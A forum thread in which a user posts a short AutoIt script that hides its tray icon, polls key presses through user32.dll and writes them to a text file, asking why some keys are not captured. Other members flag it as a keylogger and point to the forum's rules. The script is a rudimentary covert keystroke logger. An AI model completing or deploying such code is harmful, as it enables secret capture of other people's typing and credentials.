Jump to content

I can not get key @ from keyboard when user press


07hc420
 Share

Recommended Posts

My code

#NoTrayIcon

#include<Misc.au3>

; Open dll user32

$dll = DllOpen("user32.dll")

; Loop

While 1

if _IsPressed("61", $dll) then

FileWrite("temp.txt", "a")

EndIf

While _IsPressed("61", $dll) = 1

WEnd

if _IsPressed("40", $dll) then

FileWrite("temp.txt", "@")

EndIf

While _IsPressed("40", $dll) = 1

WEnd

WEnd

; Close user32.dll

DllClose($dll)

I can not get char '@' or 'a' when user press @ or a from his keyboard. But 'A' with hex '41' is ok.

Anyone help would be appreciated.

I thank a lot.

Edited by 07hc420
Link to comment
Share on other sites

Hi 07hc420, 

Friendly reminder, I suggest you edit your post before you get ban or this post is blocked.

This is a keylogger issue.

[font="Palatino Linotype"][size="2"]*** The information contained in this post should be considered and certified WORKS ON MY MACHINE ***[/size][/font][font="Palatino Linotype"][size="2"] [/size][/font]
Link to comment
Share on other sites

Better read first the do's and dont's in this forum my friend...

especially the sticky one.

http://www.autoitscript.com/forum/index.php?showtopic=14632

Edited by nfaustin
[font="Palatino Linotype"][size="2"]*** The information contained in this post should be considered and certified WORKS ON MY MACHINE ***[/size][/font][font="Palatino Linotype"][size="2"] [/size][/font]
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...